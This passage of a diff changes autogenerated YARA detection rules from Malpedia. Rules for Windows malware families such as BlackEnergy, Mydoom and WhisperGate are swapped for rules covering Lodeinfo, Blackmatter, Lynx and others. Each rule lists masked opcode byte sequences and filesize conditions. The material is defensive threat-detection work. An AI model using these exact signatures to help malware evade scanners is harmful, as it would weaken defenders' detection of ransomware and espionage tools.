c1e902 f7f1 eb02 } + $sequence_9 = { ffd0 85c0 750f ff15???????? 83f87a } + $sequence_10 = { 52 8b01 ff5004 c645fc08 8bcf 8b5648 } + $sequence_11 = { 2b460c f20f114dc0 83f810 7d0d 51 } + $sequence_12 = { 50 e8???????? 83c404 e8???????? 33d2 f7f7 81c2e8030000 } + $sequence_13 = { 52 8b01 ff5004 c645fc07 8bcf 8b5640 } + $sequence_14 = { 52 8b01 ff5004 c645fc06 8bcf 8b563c 83ea10 } + $sequence_15 = { 2b4624 83f810 7d09 51 } + $sequence_16 = { 3855e3 7408 8b4dd8 8b55dc eb04 8bce 33d2 } condition: - 7 of them and filesize < 1073152 + 7 of them and filesize < 4161536 } -rule MALPEDIA_Win_Dorshel_Auto : FILE +rule MALPEDIA_Win_Lodeinfo_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "550d8628-f52a-56de-91a7-ece0c38b96fb" + id = "2842da77-f970-52c3-8984-a714a7915a2f" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dorshel" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dorshel_auto.yar#L1-L124" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lodeinfo" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lodeinfo_auto.yar#L1-L126" license_url = "N/A" - logic_hash = "364203df24c6a83e17731caab6caa244bb9a531055fdc65fef6d763de8c4fb40" + logic_hash = "c6db0fe0e940f8fa6652bc4d77f8fe0b30871c4844a8eaef730ac89cf20d8f74" score = 75 quality = 75 tags = "FILE" @@ -130444,32 +130299,32 @@ rule MALPEDIA_Win_Dorshel_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 55 8bec 83ec0c 31c0 648b5030 8b520c 8b5214 } - $sequence_1 = { 8d7708 8b3f 33fb f3a4 5f } - $sequence_2 = { 03f8 84c0 75f6 81ff5e515e83 7408 81ff36cadb30 75da } - $sequence_3 = { 83c004 e2f9 58 54 50 } - $sequence_4 = { 51 8b0f 33cb 51 ff55f8 8b5df4 } - $sequence_5 = { 54 50 8b4f04 33cb 51 8b0f } - $sequence_6 = { ffd5 85c0 74cd 8b07 01c3 } - $sequence_7 = { ac c1cf0d 03f8 84c0 75f6 81ff5e515e83 7408 } - $sequence_8 = { 57 6800200000 53 56 68129689e2 ffd5 85c0 } - $sequence_9 = { 5f 8b4704 33c3 83c104 99 } + $sequence_0 = { 85db 742a 8b4c2420 8bc3 2bcb 81f900100000 } + $sequence_1 = { 7418 8b4114 3b4614 753f 8b4118 3b4618 7537 } + $sequence_2 = { ba???????? b9???????? e8???????? 50 e8???????? 8b5c2448 83c404 } + $sequence_3 = { 8b8d34ffffff 8bfe c1ef03 0fafcf } + $sequence_4 = { 83c404 46 83fe10 75e3 5f } + $sequence_5 = { 8955e4 81faff000000 7756 8b55f8 8b4308 8b3a 47 } + $sequence_6 = { b22d e8???????? 83eb01 75f4 b22b e8???????? 50 } + $sequence_7 = { 23c7 03d8 895de4 8b7d0c 8bcf } + $sequence_8 = { 0fb65204 c1e218 d3e2 0bd3 8b5de4 eb68 c7461000000000 } + $sequence_9 = { 83c404 83f810 722b 8b4c242c 8d5001 8bc1 81fa00100000 } condition: - 7 of them and filesize < 24576 + 7 of them and filesize < 712704 } -rule MALPEDIA_Win_Blackenergy_Auto : FILE +rule MALPEDIA_Win_Hunters_International_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "62fd91e5-385e-5b2b-8f41-0f60c4fa0e69" + id = "d8636829-de8e-581c-ad4e-c31c44dd9781" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.blackenergy" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.blackenergy_auto.yar#L1-L123" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hunters_international" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.hunters_international_auto.yar#L1-L117" license_url = "N/A" - logic_hash = "4b4bc961d280588360830fea0a66046ffbc4c49bb89c22238ddcc6fa38fb42f9" + logic_hash = "9c91c92551d0b4c31eb2166ecca4cb74b9d63e524f9ede84d728adc0424bfc5e" score = 75 quality = 75 tags = "FILE" @@ -130483,32 +130338,32 @@ rule MALPEDIA_Win_Blackenergy_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 89430c 8bc3 5f 5b } - $sequence_1 = { 56 e8???????? 8bf0 85f6 7417 56 6a00 } - $sequence_2 = { e8???????? 85c0 0f848c130000 8945b4 8b7508 8b7d10 8b4d0c } - $sequence_3 = { c70200000000 8b5104 0bd2 7407 c7420800000000 5a } - $sequence_4 = { 49 8bc3 2bc1 40 5b 5f 8bd0 } - $sequence_5 = { 53 e8???????? 6a00 ffd0 8b5f3c 8365c800 } - $sequence_6 = { 47 38e0 74f1 3bca 7602 } - $sequence_7 = { ff15???????? c3 55 8bec 81ec08010000 8365fc00 57 } - $sequence_8 = { 83f905 770b c745f409000000 33c9 } - $sequence_9 = { ff75c4 51 6a00 ff7514 56 ff7508 } + $sequence_0 = { c641040c e9???????? c641040d e9???????? } + $sequence_1 = { e9???????? c641040d e9???????? c641040e e9???????? c641040f e9???????? } + $sequence_2 = { 241f 3c1f 750f c70100000000 c641041f } + $sequence_3 = { c641040c e9???????? c641040d e9???????? c641040e } + $sequence_4 = { c6410402 e9???????? c6410405 e9???????? c641040c e9???????? c641040d } + $sequence_5 = { c6410405 e9???????? c641040c e9???????? c641040d e9???????? } + $sequence_6 = { 750f c70100000000 c641041f c6410810 } + $sequence_7 = { c6410400 e9???????? c6410402 e9???????? c6410405 } + $sequence_8 = { c6410402 e9???????? c6410405 e9???????? } + $sequence_9 = { c641040c e9???????? c641040d e9???????? c641040e e9???????? } condition: - 7 of them and filesize < 98304 + 7 of them and filesize < 1377280 } -rule MALPEDIA_Win_Mydoom_Auto : FILE +rule MALPEDIA_Win_Netkey_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "7e77b916-3ba2-5a80-a19d-24731b91f9bc" + id = "d0a2d0e1-28d1-5f88-b1cb-dda359954bd2" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mydoom" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mydoom_auto.yar#L1-L119" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.netkey" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.netkey_auto.yar#L1-L127" license_url = "N/A" - logic_hash = "35d52ce2fd0848990f084283aa4885b799e1dbfb0fb9f161e6a1a896179d7494" + logic_hash = "daf69a83c7310935a12c421c94563aee301c2dd28fd19c71dd25e72dc29acd85" score = 75 quality = 75 tags = "FILE" @@ -130522,32 +130377,32 @@ rule MALPEDIA_Win_Mydoom_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 89442404 893424 e8???????? ba00000000 eb20 ba00000000 } - $sequence_1 = { 8d45f8 89442410 c744240c19000200 c744240800000000 895c2404 } - $sequence_2 = { c3 55 89e5 83ec48 895df4 8975f8 } - $sequence_3 = { e8???????? c78538feffff44000000 c78564feffff01000000 66c78568feffff0500 } - $sequence_4 = { 53 81ec94010000 c7442404???????? 8d9d38ffffff 891c24 } - $sequence_5 = { c7042401000080 e8???????? 83ec14 85c0 7547 893424 e8???????? } - $sequence_6 = { 380a 7415 42 803a00 7406 } - $sequence_7 = { 8d85c8fdffff 890424 e8???????? 83ec04 8b4508 890424 e8???????? } - $sequence_8 = { 8945cc 0fb745e6 668945ca c744240810000000 8d45c8 } - $sequence_9 = { 8b7508 8b5d0c 803b00 7414 0fbe03 } + $sequence_0 = { 8bca 0fa4c103 c1e003 03f0 13d1 0fa4f202 c1e602 } + $sequence_1 = { 786d 8b4d08 8bd6 e8???????? 85c0 } + $sequence_2 = { 83fa03 7511 8b45fc 8b0c85a8214400 8a06 } + $sequence_3 = { 83c40c 8d85f0dfffff 6800080000 50 6a00 56 ff15???????? } + $sequence_4 = { 83e10f eb02 33c9 8b450c 0fb684c8b02e4300 c1e804 } + $sequence_5 = { 05b0407c05 3146e8 8b4714 059ea0eb01 3146ec 8b4718 05???????? } + $sequence_6 = { 8b95b4efffff 46 8985f8efffff 8bc2 c1e802 40 3bf0 } + $sequence_7 = { e8???????? 51 e8???????? a3???????? 85c0 7974 } + $sequence_8 = { 8bc1 c1f806 83e13f 6bc930 8b0485a8214400 80640828fe ff36 } + $sequence_9 = { 3a4801 751c 83c702 83c002 84c9 75e4 } condition: - 7 of them and filesize < 114688 + 7 of them and filesize < 606208 } -rule MALPEDIA_Win_Tigerlite_Auto : FILE +rule MALPEDIA_Win_Nettraveler_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "119827aa-8530-5cae-8d65-e56592a0b2d2" + id = "49924387-14f0-5a87-ae2b-48062b6b59c8" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tigerlite" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.tigerlite_auto.yar#L1-L169" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nettraveler" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nettraveler_auto.yar#L1-L127" license_url = "N/A" - logic_hash = "b688ea808508193aa1c7d4aa7527d4ad25741bc4cd2a88205c0fc518db087920" + logic_hash = "64cd33a7e821a03ef4cb5acc77650adcc2d4e3c4a14efecc6b33e33a7efaa84e" score = 75 quality = 75 tags = "FILE" @@ -130561,38 +130416,32 @@ rule MALPEDIA_Win_Tigerlite_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 488bf8 4883f8ff 7520 488d15e1c50100 488bce e8???????? } - $sequence_1 = { 4885c0 0f84a9010000 488bc8 ff15???????? 488d1520ad0000 } - $sequence_2 = { 803c0700 75f7 488d4f01 4d8bce } - $sequence_3 = { 2bca 8d95e0f9ffff 8d7201 8a02 42 } - $sequence_4 = { 50 e8???????? 83c40c c645f400 833d????????00 c745f500000000 } - $sequence_5 = { e8???????? 4c8d4530 8d5614 488d0defa70100 897530 e8???????? 8b5530 } - $sequence_6 = { ff15???????? 8bf8 e9???????? 8b8528e5ffff 8b0c85489d4100 8b8524e5ffff } - $sequence_7 = { 0fbec2 0fbe80d8214100 83e00f eb02 33c0 } - $sequence_8 = { 8d859cf2ffff 03c1 8b8d24e5ffff 50 8b8528e5ffff 8b0485489d4100 ff3401 } - $sequence_9 = { 50 8b0495489d4100 ff3418 ff15???????? 85c0 750a } - $sequence_10 = { 488bfa 488bd9 488d0549e90000 488981a0000000 83611000 } - $sequence_11 = { 8a06 46 88441905 8b45f4 83fa02 7c11 8b0c85489d4100 } - $sequence_12 = { ff742414 8b442420 03c6 57 } - $sequence_13 = { 785b 8bc3 2503000080 7d07 } - $sequence_14 = { 0fb605???????? 488bf9 88442428 e8???????? 4885c0 0f8422010000 } - $sequence_15 = { c3 33d2 41b800040000 488bc8 } + $sequence_0 = { ffd0 50 68???????? ff7510 ff15???????? ff7510 e8???????? } + $sequence_1 = { 5e 5d 83c440 c3 56 e8???????? e8???????? } + $sequence_2 = { 0bd1 0355b4 8dbc17aac7b6e9 8bd0 8bcf } + $sequence_3 = { aa 8bca 33c0 8dbdddefffff 80a5dcf3ffff00 f3ab } + $sequence_4 = { ff37 56 ff15???????? 53 ff37 56 ff15???????? } + $sequence_5 = { ffd6 bd???????? 8d442418 55 68???????? 50 ffd7 } + $sequence_6 = { 53 6a03 53 53 ff75c0 ff75b8 ff7510 } + $sequence_7 = { ff7508 ffd6 53 8d8590f6ffff 53 50 } + $sequence_8 = { 8db4850cffffff 8b4508 33d2 0fb6803c910010 8bf8 } + $sequence_9 = { ff75fc ff15???????? 85c0 7417 8d85f4fdffff 56 } condition: - 7 of them and filesize < 349184 + 7 of them and filesize < 106496 } -rule MALPEDIA_Win_Narilam_Auto : FILE +rule MALPEDIA_Win_Final1Stspy_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "54e32c98-3d91-5f09-b5aa-2a231fe53ae4" + id = "6b262f1e-6f1a-5a41-853b-26929c3926c7" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.narilam" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.narilam_auto.yar#L1-L133" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.final1stspy" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.final1stspy_auto.yar#L1-L120" license_url = "N/A" - logic_hash = "d58f6ba2ee444c0612b61b483f3c9e07a728833887fe26863735ef4c04a1aac5" + logic_hash = "2890f444efdd6c719c6ff20f4502542398a3dec68f7c2fb262ec6568139d72d6" score = 75 quality = 75 tags = "FILE" @@ -130606,32 +130455,32 @@ rule MALPEDIA_Win_Narilam_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? 66c785b0feffff2c03 ba???????? 8d85e0feffff e8???????? ff85bcfeffff 8d95e0feffff } - $sequence_1 = { e8???????? 84c0 7434 8b4370 50 8d45d0 50 } - $sequence_2 = { e8???????? 50 ff45d8 ba???????? 8d45f4 e8???????? ff45d8 } - $sequence_3 = { ff8d4cfeffff 8d8548ffffff ba02000000 e8???????? 66c78540feffff0c02 ba???????? 8d8544ffffff } - $sequence_4 = { 8d850cffffff ba02000000 e8???????? 66c785b0feffffb402 ba???????? 8d8508ffffff e8???????? } - $sequence_5 = { 6683f822 7407 8bc3 e8???????? 5b c3 80b8ec01000001 } - $sequence_6 = { e8???????? ff4df8 ff4df8 6a00 68???????? e8???????? } - $sequence_7 = { e8???????? 8b500c 8d45f8 e8???????? 8b45f8 50 8b8378010000 } - $sequence_8 = { ff8de8feffff 8d45cc ba02000000 e8???????? 66c785dcfeffff7400 ba???????? 8d45c8 } - $sequence_9 = { 7506 803f00 7401 47 8b4508 8978fc 5f } + $sequence_0 = { 80c27a 80f219 881439 41 3bce 7cef 8bc7 } + $sequence_1 = { 8bd6 0f281d???????? 2bd0 0f10040f 0f28ca 660ffcc2 } + $sequence_2 = { 8a4803 c1e206 80f93d 7508 47 83ff03 } + $sequence_3 = { 5d c3 2d???????? 78b0 03d0 8b45fc 8a4803 } + $sequence_4 = { 7508 47 83ff03 7d3e } + $sequence_5 = { 7410 8a11 8acb 3aca } + $sequence_6 = { 81e7ff070080 7908 4f 81cf00f8ffff } + $sequence_7 = { 81cf00f8ffff 47 33f6 85ff 7e0a e8???????? } + $sequence_8 = { 84db 7410 8a11 8acb 3aca 7425 8a4801 } + $sequence_9 = { c3 2d???????? 78dc 8b55fc b9???????? } condition: - 7 of them and filesize < 3325952 + 7 of them and filesize < 557056 } -rule MALPEDIA_Win_Scanline_Auto : FILE +rule MALPEDIA_Win_Blackmatter_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "0a94c58f-9a04-5a8f-a52b-c8922aabd872" + id = "f72bfe88-212a-5b08-bbca-50aa064e9cc7" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.scanline" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.scanline_auto.yar#L1-L130" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.blackmatter" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.blackmatter_auto.yar#L1-L118" license_url = "N/A" - logic_hash = "ae2af87b82d9394b37c14ff046f7786f58d075866fa464adcdf96cb76e14a4ba" + logic_hash = "e535a5032543c492ff373af34088a44c3884afdd41efbf279f3f7738c128e9a0" score = 75 quality = 75 tags = "FILE" @@ -130645,32 +130494,32 @@ rule MALPEDIA_Win_Scanline_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 7404 8b400c c3 33c0 c3 83611000 c3 } - $sequence_1 = { 740e 53 8bc8 ff742414 e8???????? eb02 } - $sequence_2 = { 8bd8 85db 743d 6800040000 8d4608 ff7508 } - $sequence_3 = { 7434 6a10 e8???????? 3bc3 59 740e 53 } - $sequence_4 = { 750f 83f81f 730a 885c0438 8a1f 40 } - $sequence_5 = { 7e10 894608 c1e003 50 e8???????? 59 894604 } - $sequence_6 = { 59 59 8b45fc a3???????? e9???????? c705????????01000000 e9???????? } - $sequence_7 = { 8bc8 c1e103 8bd1 89460c 33c0 c1e902 } - $sequence_8 = { 51 bbffff0000 6806100000 53 50 ffd7 8d8608050000 } - $sequence_9 = { 8b4e18 50 e8???????? 6a24 e8???????? 8bf8 59 } + $sequence_0 = { ff15???????? ebe7 837dd400 7408 ff75d4 } + $sequence_1 = { 807eff2e 7502 eb02 eb05 } + $sequence_2 = { 8d45f4 50 ff15???????? 83c40c 6a0a } + $sequence_3 = { 0f858c000000 83bdacfdffff00 7509 83bdb0fdffff00 747a } + $sequence_4 = { 740e ff75f0 ff15???????? 5b 8be5 } + $sequence_5 = { ff15???????? 85c0 753a 64813d34000000b7000000 } + $sequence_6 = { c745f000000000 ff7508 ff15???????? 83c404 85c0 0f848a010000 } + $sequence_7 = { 66ab 648b1d30000000 ff731c ff15???????? 8b7310 8d4638 ff35???????? } + $sequence_8 = { 85f6 745e 687c010000 56 ff75e8 ff15???????? } + $sequence_9 = { 85c0 7510 807eff2d 7406 807eff2e 7502 eb02 } condition: - 7 of them and filesize < 151552 + 7 of them and filesize < 194560 } -rule MALPEDIA_Win_Cmsbrute_Auto : FILE +rule MALPEDIA_Win_Sombrat_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "238a708e-338b-5ab5-8256-9ba00c6b30fb" + id = "d0dde23d-377f-5d10-8911-6d96e1813650" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cmsbrute" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cmsbrute_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sombrat" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sombrat_auto.yar#L1-L152" license_url = "N/A" - logic_hash = "634330623f3144af6ff0dc1b30b95f2861c0e95f174875a559bba752af7efe44" + logic_hash = "941d1381587fea594c21f438f9e9d8395ac2ab22b349124a0b48a1b28fcdbcbd" score = 75 quality = 75 tags = "FILE" @@ -130684,34 +130533,40 @@ rule MALPEDIA_Win_Cmsbrute_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { f7d1 c1e91f c1e81f 22c1 8bd6 8d4eff c1e91f } - $sequence_1 = { ffb57cfeffff 83c01c 50 e8???????? 83c40c 85c0 7d0f } - $sequence_2 = { e9???????? 8b8780000000 8b7758 81c60c010000 8945d4 3bc3 7505 } - $sequence_3 = { ebad 85f6 7466 8b5d0c 8b03 85c0 7407 } - $sequence_4 = { ff0e 8b06 85c0 7f3b 7426 68ed010000 bf???????? } - $sequence_5 = { f645ff40 7412 8b87c0000000 3b86e0000000 0f85bbfeffff 33c0 40 } - $sequence_6 = { c3 80f92b 740d 80f92d 7408 84c9 74e4 } - $sequence_7 = { ffb7f8000000 83c620 ff76e8 c1e003 56 57 50 } - $sequence_8 = { ff4df4 3975dc 7461 c745f001000000 85f6 7456 ff75cc } - $sequence_9 = { 8b07 59 8983d8040000 e9???????? ff36 8db334040000 e9???????? } + $sequence_0 = { 014114 8b7508 837df800 8b5df4 0f84c3feffff } + $sequence_1 = { 833d????????10 b9???????? 0f430d???????? 51 8bc8 } + $sequence_2 = { 01041e 8b4508 42 8d7308 } + $sequence_3 = { 0145e4 8b55f8 83c40c 294644 } + $sequence_4 = { 014620 f6460c04 8945e0 742d 85c0 7429 8b4de4 } + $sequence_5 = { 0000 e8???????? c70424???????? 8d5f0c 68???????? } + $sequence_6 = { 014620 ff36 114e24 8b442434 } + $sequence_7 = { 0144244a 894e0c ffb72c010000 ff15???????? } + $sequence_8 = { 016b08 33c0 e9???????? 33ff } + $sequence_9 = { 01448c20 48ffc1 493bc9 7cf1 } + $sequence_10 = { 016b08 488d05dc980500 41b9e7160000 4889442420 } + $sequence_11 = { 015f08 33c0 e9???????? 488b4760 } + $sequence_12 = { 0145f1 4533c9 4533c0 488b16 } + $sequence_13 = { 015f08 488bcf e8???????? 8bf0 } + $sequence_14 = { 015f08 33c0 488b4c2470 4833cc } + $sequence_15 = { 015f08 83bfd800000016 0f856c020000 488b87c8000000 } condition: - 7 of them and filesize < 5275648 + 7 of them and filesize < 1466368 } -rule MALPEDIA_Win_Whispergate_Auto : FILE +rule MALPEDIA_Win_Rockloader_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "9dc05d10-b36b-5ddc-8d53-1a84a19c9fff" + id = "104e8d35-82fc-516a-9593-bcf9bbbb834c" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.whispergate" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.whispergate_auto.yar#L1-L122" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rockloader" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rockloader_auto.yar#L1-L125" license_url = "N/A" - logic_hash = "f1a5fde20ead0d040272e28cb5dd9257a9305ae69c007901daa130bb710a267b" + logic_hash = "64906b80f87c45698d39208b0d7a3080387e28b93568b203b7e0595d5362c76c" score = 75 - quality = 75 + quality = 73 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -130723,32 +130578,32 @@ rule MALPEDIA_Win_Whispergate_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 85c0 89f4 0f841bffffff 8b5508 85d2 0f8410ffffff 8b5508 } - $sequence_1 = { 83f801 0f8543010000 83c30c 81fb???????? 0f8389000000 8b13 8b7b04 } - $sequence_2 = { 83c301 ebe1 83c301 ebe3 8d6b01 e9???????? } - $sequence_3 = { b8???????? c705????????01000000 2d???????? 83f807 7ee0 57 } - $sequence_4 = { 53 83ec4c f605????????02 0f84ea020000 e8???????? 8965c4 } - $sequence_5 = { 84d2 7906 81cf00ffffff 29f7 8d54241c } - $sequence_6 = { c1e004 e8???????? 8b4de0 29c4 } - $sequence_7 = { 83f802 89c1 7417 8d65f4 89c8 5b } - $sequence_8 = { 5e c3 31d2 89d0 c3 } - $sequence_9 = { c706???????? 893424 8b4d10 89fa 89d8 e8???????? } + $sequence_0 = { dc4dec 83650800 dec9 dd5dec dd45ec dd5918 9b } + $sequence_1 = { 40 8a0c30 3acb 75f3 8a0c30 3acb 7413 } + $sequence_2 = { c3 80f961 7c0d 80f966 7f08 0fbec9 8d44c1a9 } + $sequence_3 = { c0e204 240f 02d0 8817 } + $sequence_4 = { 80383a 75b7 40 e8???????? 50 } + $sequence_5 = { 46 80382d 750a dd05???????? 40 dd5de4 } + $sequence_6 = { 7f09 0fbec9 8d44c1d0 eb24 80f941 7c0e 80f946 } + $sequence_7 = { 5d c20400 e8???????? 85c0 7407 c7400c05000000 c3 } + $sequence_8 = { 6a02 58 e8???????? 8bf8 85ff 0f84a9feffff 837d1000 } + $sequence_9 = { 48 746a 48 744e } condition: - 7 of them and filesize < 114688 + 7 of them and filesize < 98304 } -rule MALPEDIA_Win_Industroyer2_Auto : FILE +rule MALPEDIA_Win_Lynx_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "5e868bea-ed7e-5974-96ba-660ba0f6c883" + id = "f38e4f00-aaca-5bf9-869c-83083f4fee5c" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.industroyer2" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.industroyer2_auto.yar#L1-L125" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lynx" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lynx_auto.yar#L1-L129" license_url = "N/A" - logic_hash = "af4403ef973a2e44095a1be12f63d921343b5d2fe519fbae198aa69e0c4340cd" + logic_hash = "830d0c044d086e873e93b41654d3296d5d83edd7251c856a6c1b1da8daa3d504" score = 75 quality = 75 tags = "FILE" @@ -130762,32 +130617,32 @@ rule MALPEDIA_Win_Industroyer2_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b4dfc 8b11 c6420603 8b45fc 8b08 c6410783 8b55fc } - $sequence_1 = { ebcc 8b4508 8b8848010100 8b55f4 } - $sequence_2 = { 894a0c 8b55f8 8b02 8b4d20 8b5108 895008 8b45f8 } - $sequence_3 = { 8b4508 8945fc 8b4d0c 894df8 837d0800 7414 } - $sequence_4 = { e8???????? 83c404 85c0 7636 68???????? 8b4508 } - $sequence_5 = { 52 e8???????? 8b4508 83780800 } - $sequence_6 = { 694d18a0860100 034d1c 8b55fc 894a14 8b45fc 8be5 } - $sequence_7 = { 50 e8???????? 8b4dec 894110 8b55fc 83c201 8955fc } - $sequence_8 = { a1???????? 8945e0 8b0d???????? 894de4 8a15???????? 8855e8 8d45d8 } - $sequence_9 = { e9???????? 68???????? e8???????? 50 e8???????? 83c408 6a08 } + $sequence_0 = { 8d4dec 0f1145ec e8???????? b90f000000 8d87bf000000 } + $sequence_1 = { 23d1 8b7df4 8bde 8955dc 81f3ffffff03 8b55f0 f7d3 } + $sequence_2 = { 038580fcffff 038574fdffff 898548fdffff 8d0433 898528fdffff 8b8558fdffff } + $sequence_3 = { e9???????? 83bb6801000000 8b4320 894308 8b4324 c7433400000000 89430c } + $sequence_4 = { 8d4010 83fa0a 72dc 8b8d0cffffff 2b0f 8b8510ffffff 1b4704 } + $sequence_5 = { ff15???????? 50 ff15???????? 85c0 0f84db000000 8b5dc0 } + $sequence_6 = { 41 81f901010000 7ced 8a8619834200 88843319010000 46 81fe00010000 } + $sequence_7 = { 89957cfcffff 899578fcffff 899de4fcffff 81bd3cfdffff80020000 8bbd1cfdffff 89b5e8fcffff 8bb538fdffff } + $sequence_8 = { c1e10e 0b8d28fdffff 318d68fdffff 8b8d74fcffff c1e112 0b8d24fdffff } + $sequence_9 = { ff750c 57 6a01 53 ff15???????? 50 53 } condition: - 7 of them and filesize < 100352 + 7 of them and filesize < 363520 } -rule MALPEDIA_Win_Smarteyes_Auto : FILE +rule MALPEDIA_Win_Lambload_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "8abe8c6c-e31a-5eb9-813d-c2cddefb10f7" + id = "ceafeacb-8aed-52b1-8cc4-bc13d9e4ebc5" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.smarteyes" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.smarteyes_auto.yar#L1-L133" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lambload" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lambload_auto.yar#L1-L116" license_url = "N/A" - logic_hash = "a98816f76882e4d75e28a23473f5f4b08f8f9c7a339abedcd3611228b4563cbb" + logic_hash = "bbe1c88e2fad81661a6dd79b8985da064315d8e7bbf36d0a65857b53079669fb" score = 75 quality = 75 tags = "FILE" @@ -130801,32 +130656,32 @@ rule MALPEDIA_Win_Smarteyes_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 84c9 75f6 8b8da8feffff 8bc1 c1e817 2401 8885dafeffff } - $sequence_1 = { 8b7b3c 898580fbffff 33c0 66898594fbffff 8b432c 89859cfbffff 8b4310 } - $sequence_2 = { 84c9 75f9 2bc6 8d8418280a0000 50 e8???????? 8bd8 } - $sequence_3 = { 3bc8 727c 03c0 8945fc 3bc1 7703 894dfc } - $sequence_4 = { ffb5e0feffff e8???????? 59 8bbde4feffff 8b4508 6a4b 83c708 } - $sequence_5 = { 814df800000001 3bd7 7507 814df800008000 8b5d08 57 } - $sequence_6 = { 33c9 3c01 0f94c1 8d442430 52 51 50 } - $sequence_7 = { 50 e8???????? 8b4de4 83c40c 6bc930 8975e0 8db118bb0210 } - $sequence_8 = { 56 57 6a09 59 33c0 be1c010000 56 } - 